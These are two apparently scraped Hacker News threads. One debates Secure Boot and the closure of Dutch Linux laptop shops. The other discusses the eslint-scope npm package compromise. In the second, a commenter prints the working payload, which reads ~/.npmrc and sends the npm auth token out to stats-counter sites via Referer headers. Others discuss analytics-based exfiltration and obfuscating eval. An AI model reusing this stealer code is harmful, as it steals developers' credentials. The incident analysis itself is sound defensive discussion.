Microsoft is killing Linux shops with Secure Boot - <AUTHOR> Here are some examples (Dutch so I passed the links through Google Translate)
http://translate.google.com/translate?sl=auto&tl=en&js=n&prev=_t&hl=en&ie=UTF-8&eotf=1&u=http%3A%2F%2Fwww.mingos.nl%2F&act=url
http://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.hettes.nl%2F
http://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Flinuxcomputers.nl%2F
It's now impossible to buy a Linux laptop in the Netherlands. You HAVE to pay for Windows, even though you don't want to use that OS at all.
Seems like we're back to square one. And the worst part is, nobody seems to care. No outcry from the developer community. It's really sad. We don't seem to give a shit about freedom and choice. <comment><USER2> Wait wait wait...

So Microsoft demands(!) that all x86 PCs and laptops which are sold in its certification program have to have Secure Boot easily disable-able in the BIOS/uEFI by the end user...

So these Linux-computer companies either buy laptops from manufacturers directly or produce their own, but somehow the laptops they're buying are unable to have Secure Boot turned off even though that is the industry standard and literally what every single laptop retailer's laptops do?

This whole thing makes no logical sense at all.

I totally doubt that anyone is producing x86 laptops where you cannot disable Secure Boot, if for no other reason that it would make these laptops ineligible for Windows/Microsoft certification which consumers care about.

These companies might be going out of business, but trying to tie it to Secure Boot is nonsensical.

Plus on top of everything I just said several Linux distributions now support Secure Boot out of the box. So these companies don't even have to go into the BIOS/uEFI and change the settings, just install Ubuntu like they always have.

So OP: PROVE that Secure Boot is the cause of these companies going under? Or at least explain the logic to it.

<comment><USER3> > "So Microsoft demands(!) that all x86 PCs and laptops which are sold in its > certification program have to have Secure Boot easily disable-able in the > BIOS/uEFI by the end user..."

You say "easily disable-able" but that's not the case. The process of disabling SecureBoot is anything but easy, and it's undocumented.

<comment><USER2> On my motherboard I go:

Security (tab) -> Secure Boot -> Disabled -> Save

And it is documented. It is right there in the manual. This is an ASRock motherboard produced in the last few years.

It literally is as complicated as turning on and off the internal sound or networking, or switching on USB legacy mode.

PS - This web-site shows a different ASRock motherboard with the same-ish setup: [http://www.eightforums.com/tutorials/17058-secure-boot- enabl...](http://www.eightforums.com/tutorials/17058-secure-boot-enable- disable-uefi.html)

</comment></comment></comment><comment><USER4> Having worked at (and briefly managed) a local computer store, then a big box store, it's a brutal business. In the small store we made all our money on service: selling recycled commodity boxes was a way to get traffic through the door, so you could fix them later. A few high-end builds were the highlight of my year, but they were few and far between. We considered offering Linux, but:

\- It used to be that most technical people ( and some non-technical) would buy desktops. You can sidestep the Windows tax and attendant issues by building a desktop (from parts you know work well with Linux), and maybe hit a competitive price in the high end. Now that desktops are a tiny sliver of the market, these stores are enslaved by OEMs, reboxing existing laptop designs.

\- Starting from the same wholesale price, Linux resellers 'add value' by installing Linux. But this value-add isn't really apparent to a large enough audience - there isn't enough public awareness, and people aren't willing to pay a premium. Especially if they're competent enough to install Linux themselves. In my experience people expect ANY OS to be free; when we used to try and sell Win XP as an upgrade (over 2K), people were aghast that the software cost money.

\- People want free support if you sell them on Linux. If they nuke the system, you either scare them off with your hourly service rate, or you eat the cost of the labour and go broke.

\- So the vendor either charges a higher sticker price and doesn't sell many, or eats the labour cost for developing Linux support, fixing and reboxing laptops and tries to make up the tiny (or even negative) gross margin on volume.

When I moved to a bigger chain store, they subsidized the low-margin laptop market by aggressively pushing house-brand accessories: cables, cases, blank media, printer ink. These small stores are typically much less aggressive about selling high-margin commodities along with a system (it's harder to do with less capital, space and by mail).

So it isn't a problem of freedom and choice. It isn't a problem of Microsoft crushing little independents (not consciously). The computer business is very hard to do well at small scale, and you should expect that on a medium time- scale most will die. This is only exacerbated by the rush to laptops, then tablets and smartphones, where it's impossible to differentiate.

</comment><comment><USER5> There are two separate but correlated issues.

1) SecureBoot on WART (windows on ARM) 2) SecureBoot on x86/64

The first issue (WART) is easily explained. Microsoft stipulates that ARM vendors may not accept any other operating system than Windows to run. This is a case where one company (Microsoft) colludes with other companies (Asus etc.) to create a product that is closed to the competition.

The second issue (x86/64) is more nuanced. Microsoft stipulates that other OSes need to be able to run on these devices. However to do so one has to obtain a boot key from microsoft. The bios mechanism to restrict boot also has to work. There are a couple issues with this: 1) microsoft so far has issued barely any secure boot keys 2) Obtaining a secure boot key costs money 3) Microsoft can revoke those keys at any time 4) The implementation of secure boot on some devices is hardcoded to windows and won't work otherwise

Both topics are not a "market issue" because there are multiple companies involved, many of which are monopoly holders in an area or other. Dell/HP/Asus etc. are monopoly holders to personal computing hardware. And Microsoft is a monopoly holder to personal computing operating systems. When you get multiple monopoly holders banding together forming one company, you are talking of a syndicate. Syndicates are explicitely forbidden to be formed under monopoly laws. Thus Microsoft and its OEMs are in deep shit, at least in theory.

<comment><USER6>
      | Dell/HP/Asus etc. are monopoly holders to
      | personal computing hardware

Doesn't the mono- part of monopoly make this statement a little shakey?

</comment></comment><comment><USER7> Microsoft doesn't sell laptops to OEMs, and none of these companies is buying anything from Microsoft, so I don't see what Microsoft has to do with it. If they have lost their original supplier, for whatever unstated reason, there are dozens of Asian white box PC makers who will ship whatever you like, at low prices....

Perhaps the market is just too small to make financial sense, or these Dutch shops have no money.

I used the Wayback machine to have a look at the products and the results are not too exciting. For example, a year ago, the 1.9kg Mingos LT-13-2 laptop had a 1.3GHz Pentium, 2GB of RAM and a 160GB hard drive for €540.00 ($708) with Ubuntu.

[http://web.archive.org/web/20120603005911/http://www.mingos....](http://web.archive.org/web/20120603005911/http://www.mingos.nl/ubuntu- laptops/mingos-lt-13-2.html)

I can't see how any rational person would buy that, even if they were totally clueless, rabid anti-Microsoft fanboys. It's not like installing Ubuntu is _hard_ ...

This whole thing makes no sense.

</comment><comment><USER8> You can still buy a Dell XPS 13 with Ubuntu via dell.nl or an OS-less laptop via BTO.

> <http://linuxcomputers.nl/>

They don't appear to even mention secure boot as the reason, but pricing, margin and lack of interest, both from consumers as from vendors.

<comment><USER3> The thing is, high-end laptops used to be one expensive option among many before the whole SecureBoot thing.

You had a choice.

That choice has been killed. High-end laptops are now the only option if you want freedom, and that's not an accidental thing, it's by microsoft's design.

<comment><USER9> I'm failing to see why disabling Secure Boot on a lower-end laptop before installing Linux isn't a viable option here?

Of course, being able to have it ship disabled by default is ideal, but for the HN crowd and for Linux shops, disabling Secure Boot in BIOS/EFI is trivial.

<comment><USER10> What about people who want to dual-boot?

<comment><USER11> What about them? It remains trivial to dual-boot.

</comment></comment></comment></comment></comment><comment><USER12> Dutch here. These vendors have all run into the same problem; their Dutch distributor is no longer able/willing to sell them laptops without Windows 8 preloaded and they haven't found an alternative distributor.

Previously they could buy branded laptops (HP, Lenovo, and such) without Windows. Consumers can already buy such laptops with Windows, and then install Linux on them. These shops made it possible to buy laptops free of Windows, so without having to pay "Windows-tax".

Hettes.nl have received an outpouring of support and have started a petition with the intent to get this practice of product tying discussable in the Dutch House of Representatives and in a well known Dutch consumers' rights television show, and raise awareness of this to the European Union.

They write (my translation):

"At this moment we are receiving many comments about the stopping of Hettes.nl, also on the Internet we are mentioned multiple times and many visitors of Hettes.nl are disappointed that we are stopping. Because of these comments we want to start a petition to make the Dutch government and the European union see that this product tying should stop and that it should be possible to buy computers (any brand) without Windows. So that we can offer computers without Windows to consumers that prefer other operating systems!"

The petition is the link in the last paragraph on this page: <http://www.hettes.nl/hettes-stopt>

Edit: added translation of Hettes.nl paragraph about their petition.

</comment><comment><USER13> Not exactly a solution to the troubling issue, but System 76 assembles wonderful linux machines and they ship to the Netherlands.

<https://www.system76.com/home/shippinginformation>

<comment><USER14> For appropriate values of 'wonderful'. But I guess if one pays 1500+ € for a computer, an extra 100 € for Windows is not all that important.

<comment><USER15> So, even if I hate MS and did not use their product, I still need to pay to support MS to be even more evil next time.

<comment><USER14> I see it as a slight annoyance that comes bundled with this wonderful trackpoint. Really, my point was that this is a major issue if the system costs 500€, but about two thirds less important if it costs 1500€.

</comment></comment></comment></comment><comment><USER16> There no outcry because what you've shown is a market issue that has nothing to do with secure boot or Microsoft.

<comment><USER17> I am not sure that is fair; the websites above mention that they can no longer purchase laptops without a Microsoft license, which hurts their ability to remain profitable.

Ie at one point you could argue that if you didn't like AT&T, then the market would create a viable alternative. It never did, and was broken up as we know the free market does not solve everything.

In this situation, you could argue the market would create a viable alternative, but Microsoft has a consistent track record of influencing the market monopolistically.

<comment><USER18> It's just the market that has gone in this direction.

As mentioned previously, it used to be the case that you could make a living off of making custom PCs and selling them for a premium. You can still actually do this, charging for a 15% premium or something like that, and make a part time job out of it. But then you have to provide services such as overclocking and water-cooling. Back in the days of XP and Vista, all you had to do was assemble a system from OEM parts and sell it. You could offer higher quality parts + a Windows OS + better performance/price ratio and still be profitable because the system you made would still be cheaper than a pre-built computer.

The thing that has changed is, as I said, the market. You can't do that anymore because the margins are prohibitively small. You need to buy in bulk and sell in bulk to make any kind of money.

But that's not an issue with Microsoft or this secure boot thing, that's just the way that prices have changed in the market. A lot of companies can no longer afford to sell systems without the extra money from MS sales and the bloatware. It was never all that profitable to sell Linux machines to begin with, and it's even harder now. But it's still possible. It's just that you have to sell huge numbers of them, more than before, in order to stay afloat.

Another thing that you have to take into account is that it's a niche market to begin with. Most people who enjoy Linux also know how to manage it, know how to assemble a computer, and would prefer to set up the software/hardware themselves rather than have a company do it for them.

I could be wrong in some of what I have above but that's my understanding of this whole issue.

</comment></comment></comment><comment><USER19> Of all the vile things Microsoft has been doing to suppress superior competition to their inferior products, this must be one of the vilest. It's absolutely disgusting.

</comment><comment><USER20> I don't quite understand from those links how Microsoft does that, what is Secure Boot, what are Linux shops and what does Microsoft do to kill them?

<comment><USER3> If you haven't been following this story as it developed over the past year and a half, microsoft corporation has leveraged their existing dominant position in the desktop OS market and mandated that OEMs include microsoft's encryption key in their motherboards, to the exclusion of all other encryption keys, as a prerequisite to their logo certification program.

What is sad though is that antitrust regulators worldwide have looked at this practice and saw nothing wrong with it.

<comment><USER21> You forget to mention that secure boot can be disabled. And that there are Linux distributions that can handle secure boot.

To quote the Linux Foundation: "Linux and other open operating systems will be able to take advantage of secure boot if it is implemented properly in the hardware. This document is intended to describe how the UEFI secure boot specification can be implemented to interoperate well with open systems and to avoid adversely affecting the rights of the owners of those systems while providing compliance with proprietary software vendors' requirements." [http://www.linuxfoundation.org/publications/making-uefi- secu...](http://www.linuxfoundation.org/publications/making-uefi-secure-boot- work-with-open-platforms)

<comment><USER3> > "You forget to mention that secure boot can be disabled."

Correct. But the steps to do so vary wildly from motherboard to motherboard and are not documented anywhere.

In fact, one of the things HispaLinux requested is that OEMs provide clear documentation of the technical steps required to disable SecureBoot.

<comment><USER21> Yes, I agree (although you cannot really blame Microsoft for this). But, to be honest, someone who is able to install Linux should also be able to roam through the Bios (which he/she should do anyway to check the settings, e.g. confirm the boot sequence). Plus, as far as I understand it, Linux can actually profit from secure boot, right?

</comment></comment></comment></comment></comment><comment><USER22> In future Organizations want us to "Root" our PC's, huh? We didn't complain enough, we accepted that our vendor-locked Smartphones had to be rooted, to become free. Our freedom is getting hand-cuffed slow enough, that the spoilt Slave of the industry doesn't revolt, but fast enough to raise profits for the supporters of this party.

My words in your ears, dear friends. We have to stop the engine of slavery, the software that limits our hardware, it will limit our horizon when we allow it mature and manifest itself within our technology. Viva Freedom!

<comment><USER21> No, you just head into the UEFI Bios and turn secure boot of. No rooting required here (besides its not being the right phrase).

<comment><USER23> Unless you are on ARM, and only for now.

<comment><USER21> Agree, sorry, should have mentioned that I mean the X86 plattform.

<comment><USER23> Sure, but ARM is going to be more and more common on low-end computers. Even if the ability to disable these restrictions on x86 is still available in five or ten years -- and I am not so confident that it will be -- it will not matter for people who cannot spend more than $500 on a computer.

<comment><USER24> Are you saying that WindowsRT will totally take over the ARM market and kill Android?

<comment><USER23> No, I am saying that much of what we now think of as the "x86 market" will be taken over by ARM. Cheap desktops and laptops are not going to stick with x86 forever, but there will still be demand for desktop and laptop form factors and there will still be demand for Windows.

<comment><USER22> Fedora's Matthew Garrett explains his position very good. The "UEFI Forum", which controls the Standard, is made up of computing industry representatives including Microsoft, Apple, Intel, AMD, and a handful of computer manufacturers.

<http://mjg59.dreamwidth.org/12368.html> This a more technical perspective: <http://www.rodsbooks.com/efi-bootloaders/secureboot.html>

The day people start doing more than watching youtube videos with their ARM computers is certainly a possible future. Smartphones are becoming a stronger selling factor than the PC industry. We all agree that the future is mobile and everbody is betting on this future.

Although not a BIOS disadvantage per se, switching from EFI mode to BIOS mode requires re-installing your OS(es), or at least reconfiguring their boot loaders.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER15> I myself will boycott the evilest MS and will not buy anything associated with MS from now on.

Secure boot is evil until we can provide our own key. Even if GNU keys are permitted, it is still bad enough.

<comment><USER25> You can provide your own keys, at least on some motherboards. Here is the screenshot from my motherboard's bios:

<http://i.imgur.com/XkJ11If.png>

</comment></comment><comment><USER26> I bought my high end Ubuntu laptop from System76 (1) but the international shipping is horribly expensive (north of $100). I'd hope there would be regionally more distributed dedicated Linux hardware shops. Well, maybe this will happen when things get worse?

[1] <https://www.system76.com/>

</comment><comment><USER27> Politicy makers are dumb. They took ages to resolve an issue such as availability to choose the default browser on an operating system, yet, in their closed world of waiting for their retirement checks, they, and their fault of ideals in their confortable sofas do no address the :

simple issue of hardware and operating system separation.

<comment><USER28> Because responsible citizens should be making those decisions, not "policy makers".

<comment><USER29> Unfortunately, in market-driven cases like this the decisions are being made by the middle of the bell curve. And we know what that means:

[http://usatoday30.usatoday.com/news/washington/2003-09-06-po...](http://usatoday30.usatoday.com/news/washington/2003-09-06-poll- iraq_x.htm)

</comment></comment></comment><comment><USER30> Run Linux on your iPad or iPhone then. Oh wait.

<comment><USER3> It's different. Apple and microsoft can do what they want with hardware/software bundles that they build themselves. That's why noone complains that those surface products are locked down, it's because microsoft manufactures them. Consumer harm comes into play when microsoft leverages their existing desktop OS monopoly to twist OEMs' arms into including an encryption key that OEMs gain no direct benefit from.

<comment><USER24> >That's why noone complains that those surface products are locked down, it's because microsoft manufactures them

The Surface Pro is not locked down. You can even remove Microsoft's key and stop Windows from booting and install Ubuntu's key or your own.

>Consumer harm comes into play when microsoft leverages their existing desktop OS monopoly to twist OEMs' arms into including an encryption key that OEMs gain no direct benefit from.

The OEMs benefit is that their customer's PCs are not vulnerable to undetectable rootkits as soon as they get on the internet and get hit by a Java, Flash exploit or download a fake codec or toolbar. Interesting how no one seems to talk about benefits of secure boot to real users in this discussion.

<comment><USER3> > "Interesting how no one seems to talk about benefits of secure boot to real > users in this discussion."

Look, microsoft should be working to fix their software instead of leaving it as it is and instead making life miserable for those who want digital freedom.

<comment><USER11> "microsoft should be working to fix their software"

This is how they are working to fix their software.

</comment></comment></comment></comment></comment><comment><USER24> Here we go again, just like last time with lots of FUD. I read through the links in the post and they're completely devoid of any details.

First, I completely fail to see what this has to do with Secure Boot. If you're a System Builder and you're able to install Linux but are unable to turn off a checkbox in the settings, then you're a shitty system builder and deserve to have your business shut down.

Second, I completely fail to see what this has to do with Windows 8. The main complaint seems to be that the big OEMs are not shipping laptops without Windows being already installed. Wasn't this true with Windows 7 too?

It looks like the magic words "Windows 8 Secure Boot" were included in the headline and post only to gain HN karma points.

If you're a business and want laptops without an OS, you need to go to the ODMs like Clevo, Compal, Asus, MSI, Quanta, Wistron, Mitac, Arima and Invente. <http://en.wikipedia.org/wiki/Original_design_manufacturer>

They will happily sell you laptops in bulk without an OS installed. For example <http://www.system76.com> does exactly that.

Looks like the computer shops linked seem to just want Lenovo to sell them bare laptops so they can skim a profit by just loading Linux on them and then selling them for a higher price. Guess what, Lenovo doesn't want to increase their costs by creating a separate assembly line process which won't make them any money.

Asus sells barebones laptop kits if I am not mistaken.

It's interesting how yelling "OMG WINDOWS 8 SECURE BOOT!!!" gets you a lot of karma here even though it has nothing to do with the issue at hand.

The user is in control of the PC. They can load any key they trust or roll their own personal key and even remove Microsoft's key to prevent Windows from booting on their computer.

I don't see why tens of millions of PCs used by non-technical people should be susceptible to undetectable rootkits out of the box just to appease some stupid system builders who can't find the setting to turn it off in the BIOS menu.

<comment><USER3> > "If you're a business and want laptops without an OS"

No, I'm a consumer who wants the same variety of laptops/specs/price points that are sold with windows eight preinstalled, to be available without microsoft's contraptions, be they operating systems or encryption keys.

microsoft doesn't want me to have that choice, and this is the topic at hand, and by the way, you should consider sticking to the topic at hand.

<comment><USER7> Easy: buy a Mac.

If there was a viable market of people willing to pay an economic price for a Linux laptop then there would be companies to provide them. Several have tried. Some are still trying (eg Dell) though it's hard to make money selling to cheapskates.

As it is, whatever Linux market there is depends on the economies of scale created by the Windows market. You're saving far more money thanks to Windows than you would ever pay for Windows licences.

<comment><AUTHOR> Why on earth would I buy a Mac if I am looking for a Linux machine trying to avoid paying for something I don't use. Does it make me a cheapskate if I don't want to pay the Windows/Apple tax? I would have no problem spending let's say $1500 for a decent Linux latop: one with certified hardware, a penguin key (instead of a Windows key), a pre-installed Linux distro and no secure boot nonsense.

<comment><USER31> Often times, due to Microsoft co-marketing funds, "desktop real-estate" (trial-ware installs), and some other things - that end up offsetting the OEM's costs - you're actually paying less for a system with Windows installed then you are for a system without an OS installed. So the cost issue is mostly a non-issue, as to maintain the same profit margins the OEM will sell the non- OS system at a higher price.

This is especially true for "basic" systems, were they sell them at almost cost price... As OEMs make all their profits on upgrades and higher spec systems that they can sell at a markup.

</comment></comment></comment></comment></comment><comment><USER3> I'm with you. HispaLinux did send a memo to their local EC office, but the official position in Brussels seems to be that there's been no breach of law.

Speaking for myself, I sent a private e-mail to Neelie Kroes saying that I support the position of HispaLinux and that I regard it as an anticompetitive, exclusionary practice for there to be only microsoft's encryption key by default on all new motherboards, to the exclusion of say the GNU/Linux community's key.

But there's only so much one private e-mail can do.

<comment><USER24> > I sent a private e-mail to Neelie Kroes saying that I support the position > of HispaLinux and that I regard it as an anticompetitive, exclusionary > practice for there to be only microsoft's encryption key by default on all > new motherboards, to the exclusion of say the GNU/Linux community's key.

The whole problem is that there is no "GNU/Linux community's key" because no one is stepping up to provide it. The big OEMs had already told Red Hat that they're willing to include the community's keys so I fail to see the "anticompetitive, exclusionary practice". Microsoft does not mandate that only its key should be included by default on all new motherboards. The OEMs are free to include any other keys.

<comment><USER23> Who do you trust to maintain a GNU/Linux community key? The Free Software Foundation, which takes an extreme position that even excludes Fedora? The Linux Foundation, which talks about compliance with proprietary vendors' requirements? Linus Torvalds, who takes no issue with TiVO?

There is no _single_ vendor I trust with the decision about which distro's bootloaders can be signed. I only trust the distro I am using, and only because I can switch to another distro at will (which I have done three times since I began experimenting with Linux all those years ago). That is the problem with the UEFI design: it does not let me, the user, decide who to trust, unless I am technically adept enough to install custom keys (I personally am, but even a lot of people at the local LUG and 2600 meetups are not).

What we really need a system that allows me to install whatever OS I want, and allows that OS to optionally enable bootloader signing with its own key. I should be able to hit a button while booting up to enable a special "OS installation mode," which will boot from a USB device or a DVD to install an OS. During that process, the OS installer can load keys for bootloader signing. The user should _always_ be able to install the OS of their choice, and should _not_ have to rely on Microsoft or anyone else to "approve" a bootloader, OS, or anything else.

</comment></comment></comment><comment><USER32> In Turkey's laws you can not sell a product with combining another product in same label. Computer is a product and software is another product. Hence you can not sell them under same label according to laws. But they selling computers by combining with M$ licenses. Some of my friends had to seek to justice but as you expect they can not take their money back.

The winner is always who has the big money. They don't need to put an encryption key in motherboards. They do this f.cking shit already without key.

<comment><USER21> In all fairness, I don't think secure boot has the IT pros in mind. It targets the vast majority of IT users who have no clue at all and install every crap they can find on their systems. I recommend you take a look at this document by the linux foundation. [http://www.linuxfoundation.org/publications/making- uefi-secu...](http://www.linuxfoundation.org/publications/making-uefi-secure- boot-work-with-open-platforms)</comment></comment>


ESLint compromised, may have stolen your credentials - <AUTHOR> https://github.com/eslint/eslint-scope/issues/39 <comment><USER2> I blame the Linux Foundation that has allowed Node.js to ship with npm CLI which is a client for a _VC backed_ _for profit_ company. This posinstall stuff is clearly a bad design that many have pointed to it before but npm just ignored it. Nobody can fix it other than npm. I have nothing personal against people who work at npm inc but this structure is not right. npm is having way too much control over this ecosystem. They always complain about not having not enough resources. How about running npm like an open source project instead? I have many questions:

        Why the registry code is not open source?
        Why the CLI is not maintained well? (Yarn exists because npm CLI sucks)
        What if VC money forces npm to milk free users for money?

<comment><USER3> In a recent video, Ryan Dahl mentioned that he regrets incorporating package.json and NPM into Node:

[https://youtu.be/M3BM9TB-8yA?t=588](https://youtu.be/M3BM9TB-8yA?t=588)

He has a very early attempt at breaking from compatibility with Node called "Deno". Here's the part in the video about his current thoughts on importing external modules under Deno:

[https://youtu.be/M3BM9TB-8yA?t=1257](https://youtu.be/M3BM9TB-8yA?t=1257)

He has some other security proposals as well.

<comment><USER4> And he even mentions linters (in the first Deno slide) as untrusted utilities that should take advantage of the JS sandbox and not have access to network.

</comment></comment></comment><comment><USER5> Below is the contents of the pastebin that the virus tries to eval.

Kind of interesting that they used a stats counter site as a free anonymous database.

      try{
        var path=require('path');
        var fs=require('fs');
        var
        npmrc=path.join(process.env.HOME||process.env.USERPROFILE,'.npmrc');
        var content="nofile";

        if (fs.existsSync(npmrc)){

            content=fs.readFileSync(npmrc,{encoding:'utf8'});
            content=content.replace('//registry.npmjs.org/:_authToken=','').trim();

            var https1=require('https');
            https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+content}},()=>{}).on("error",()=>{});
            https1.get({hostname:'c.statcounter.com',path:'/11760461/0/7b5b9d71/1/',method:'GET',headers:{Referer:'http://2.b/'+content}},()=>{}).on("error",()=>{});

          }
      }catch(e){}

<comment><USER6> The fact that this is the top-voted item here scares the hell out of me.

eval() should be removed from the language. Period. Dynamic code like this is a gaping security hole. There an infinite number of ways to get around eval() detection (see some comments below).

eval() combined with a hole-ridden package manager is the perfect storm; the equivalent of an open door for hackers to manipulate a potentially huge number of code bases.

And the top-voted comment is how they used a stats counter to stuff the hijacked creds... WTF.

<comment><USER7> Removing eval wouldn't help— you could always just write a tiny interpreter to do the same thing. This is a problem in any Turing complete programming language (with Reflection), although JS makes it easier.

<comment><USER6> True, it wouldn't solve the problem entirely, but I'd guess a 'tiny' interpreter would stand out more than a one liner like this one, possibly making detection easier.

<comment><USER8> On the contrary, `eval` is used so little in real code that it's easy to detect. A tiny, obfuscated VM would be much more difficult.

<comment><USER9> 'eval' is not trivial to detect when it's

window[rot13("riny")]("console.log('lol')");

or one of the many other ways to obfuscate eval

</comment></comment></comment></comment></comment></comment><comment><USER10> It looks like Ryan Dahl predicted it: "It would be nice to download the massive codebase that ESLint is and run it without it taking over my computer - which it could."

[https://www.youtube.com/watch?v=M3BM9TB-8yA&feature=youtu.be...](https://www.youtube.com/watch?v=M3BM9TB-8yA&feature=youtu.be&t=403)

<comment><USER2> Sandboxed by default is the best design decision of deno.

Using URLs for import is another one. npm as a company has too much power and responsibilities that is really unnecessary. We're downloading from a URL anyways. package.json and npm makes it look like everything has to be hosted there

<comment><USER11> URL imports is a terrible idea. There's a reason we have actually package managers and repositories instead of installing from GitHub.

Properly made and run package managers are more secure and offer a better developer experience than importing by URL.

<comment><USER12> Which package managers are properly made, and how are they more secure? As far as I'm aware npm's security model is shared with almost all of them.

<comment><USER13> Cargo is far better in this regard, for one.

<comment><USER14> Cargo packages can also execute arbitrary code at compile-time through build scripts, which run with full permissions of the original `cargo` command including filesystem and network access.

</comment></comment></comment></comment></comment></comment><comment><USER15> gotta love npm community . here's the summary:

1\. someone compromises eslint to scan for other npm credentials and upload them.

2\. the code has a bug that fails in some conditions.

3\. this probably ran in several devs/CI systems and stole tons of credentials

4\. the thread is about pinning the unaffected older version on all other high profile packages

5\. people start to suggest fixes for the payload exec'ing code from an http request.

in the end, attackers now have hundreds of credentials for less visible projects, and even a fix for their code. I'd say attackers are writting this off as a huge success.

npm should proactively revoke everyone's token now!

<comment><USER16> > To protect potentially compromised accounts, npm is invalidating all npm > login tokens created between 2018-07-11 00:00 UTC and 2018-07-12 12:30 UTC > (about 2 hours ago).

[https://status.npmjs.org/incidents/dn7c1fgrr7ng](https://status.npmjs.org/incidents/dn7c1fgrr7ng)

</comment></comment><comment><USER17> Isn't it scary that this seems to have been discovered only because the backdoor code was buggy?

<comment><USER18> Buggy code is a top indicator that something on a deeper level is wrong. Assuming that the people who wrote the code were not in a total rush and quite smart, how could they write buggy code if the code base was healthy and robust? Especially on a project that is unit-tested and linted, without checking I assume everything on ESLint is...

<comment><USER19> How can the exploiter write buggy code? By... writing buggy code?

From what I gather, they wrote some code that downloads a script, which might (or not) get downloaded in chunks. But their code only executes the first chunk. So if the whole script is not in the first chunk, you get a syntax error because it is incomplete.

That exploited code was not in Github, it was added to the ESLint code the exploiter had, which he then published to npm using stolen credentials, bypassing the normal CI process. How would unit tests and linting help with that?

</comment></comment></comment><comment><USER20> ESLint maintainer responds here: [https://github.com/eslint/eslint- scope/issues/39#issuecommen...](https://github.com/eslint/eslint- scope/issues/39#issuecomment-404533026)

> One of our maintainers did observe that a new npm token was generated > overnight (said maintainer was asleep). We think that token was likely used > but are awaiting confirmation from npm. This maintainer has changed > password, enabled 2FA, and generated new tokens.

<comment><USER21> > enabled 2FA

This should serve as a reminder to all FLOSS maintainers/contributors that 2FA should be enabled on whichever services (relevant to your project and elsewhere) support it.

UPDATE:

rubygems.org does have support for 2FA, it just isn't advertised yet. See this comment for instructions on how to enable it for your account: [https://github.com/rubygems/rubygems.org/issues/1252#issueco...](https://github.com/rubygems/rubygems.org/issues/1252#issuecomment-404607785)

</comment></comment><comment><USER22> Given that it's making calls to histats.com and statcounter.com, I wouldn't be surprised if this is someone trying to make a point. Let's hope so, at least :) I would be interested in a blog post detailing how many credentials they were able to obtain, how many people they managed to infect and how many packages they could potentially compromise.

If npm (and I'm guessing they will) have to invalidate all publish tokens for all users, that is going to be painful.

 __Edit: __I should point out that this is just speculating - there are definitely still ways this could be abused, so don 't assume you're safe.

<comment><USER23> They are linked as HTTP referrer, so they can get the tokens out of the stats page later on.

It's using a popular and well known domain to evade detection.

<comment><USER22> That's true, but doesn't it also place their fate in the hands of the owners of StatCounter and HiStats?

(Of course I __am __just speculating - there 's definitely still ways this could be abused. I'll update my comment.)

<comment><USER24> Doesn't matter. Google Analytics was used to steal ethereum seeds too (as the 'referer' also I believe). Its common to use analytics as exfiltration services -- the traffic is not as suspicious and usually https.

<comment><USER23> Critically, it also doesn't leave a trail by running a server anywhere.

<comment><USER25> There's always a trail. What IP and email were used to register the accounts for the stat tracking sites? What IP was used to register the email account? What are all the IPs that ever logged into those accounts? If the email or account registration or login IPs are VPNs, what IP was behind that VPN (if the provider keeps that information)?

A server doesn't necessarily leave any more of a trail if you purchase one with a good VPN, throwaway email, and some kind of cryptocurrency.

OPSEC is a bit easier when abusing a legitimate service, but I think one of the main reasons to use these stat tracking sites is because it blends in with regular traffic very well. If your organization doesn't have SSL interception, it would be very difficult to find the .npmrc exfiltration in logs or PCAPs. This wouldn't be the case if they purchased a server or registered a domain just for this purpose, even if they used SSL, since traffic to the IP/domain alone would likely be sufficient to confirm compromise.

</comment></comment></comment></comment></comment></comment><comment><USER26> In short: Someone has published a version 3.7.2 of eslint-scope that contains unwanted code. The code tries to read your credentials and send them to some tracking pages.

Webpack and more uses ^3.7.1 of the dependency, making you automatically upgrade to the hacked one.

Update: According to the linked issue the nefarious package has now been unpublished. If you have npm credentials and did npm install the last few hours you should probably revoke your tokens.

<comment><USER27> source is from github, right? can we not identify the "someone" in this case? or are we talking about a separate publish to npm process unrelated to github releases? can the eslint-scope team not figure out the someone that did the publish? I'm an open source newb but I have to think someone had to accept this malicious code at some point for it to ripple through and make it to release/publish right?

<comment><USER28> From what I read, the code is not in the github repository. What happened was that the npm publish credentials were compromised, and someone published their own code instead of code from the github repo. So they don't have commit logs of who published the bad code, but npm may be able to help them track down which credentials were used to publish it. Npm's server logs may also point in the direction of where the malicious publish came from, but it's likely that the IPs in the server log are proxied or otherwise useless.

<comment><USER29> > someone published their own code instead of code from the github repo

Sorry for my ignorance, I have not been a real dev for over 10 years, but wouldn't a better way for NPM to take new packages be for NPM to own the build process? As in the owner of a package would tell NPM: please build and publish from this previously registered repo. Then NPM would have it's own Jenkins servers actually run the build?

Based on my very limited understanding the main problem I see with NPM is that I have no idea if the code in the repo was the same code used to build the package. This is what happened in this case, correct? Wouldn't NPM owning the build process solve this problem?

I realize this would be a huge load for NPM, but NPM has the world's security riding on its shoulders.

I'm ready to be told why this is dumb now...

edit: grammar

<comment><USER30> But how would you know that the sourced on NPM same as the ones you have? Except if you require all NPM packages to be hosted on Github but that does not seem like a good idea to me.

<comment><USER29> Couldn't some simple standard be developed to allow non-github repo hosts to also be used?

<comment><USER31> Like gpg the payload and make sure npm has a public key.

</comment></comment></comment></comment></comment></comment></comment><comment><USER32> This reminds me of this story [https://hackernoon.com/im-harvesting-credit- card-numbers-and...](https://hackernoon.com/im-harvesting-credit-card-numbers- and-passwords-from-your-site-here-s-how-9a8cb347c5b5)

</comment><comment><USER7> Each version of an npm package needs a certified git commit hash.

Otherwise when vetting an npm package, you have no idea if the code you're reading on Github is actually what you're going to download or not. In scenarios like this one, package publishers could easily configure getting an alert that someone tried to push to npm a hash for which no commit exists in Github.

For packages with a build step this would likely mean npm would have to run the build step on their servers. Hopefully there's a way they won't have to eat that cost, but I believe publishing linking package versions to specific git hashes is the only way to prevent an attack like this.

<comment><USER33> The challenge here is that you cannot just go with signed commits—it would also need to authenticate a specific user/org, repository, etc. (Anyone can sign a commit)

Similarly, however that whitelist of identities is specified becomes another vector, without a lot of PKI

<comment><USER7> I shouldn't have used the word 'certified'— I just meant the package version should have an associated commit hash. There has to be a relationship between the hash and the published code in some way, unlike eg. the "homepage" field people use to link to Github which can just be an outright lie.

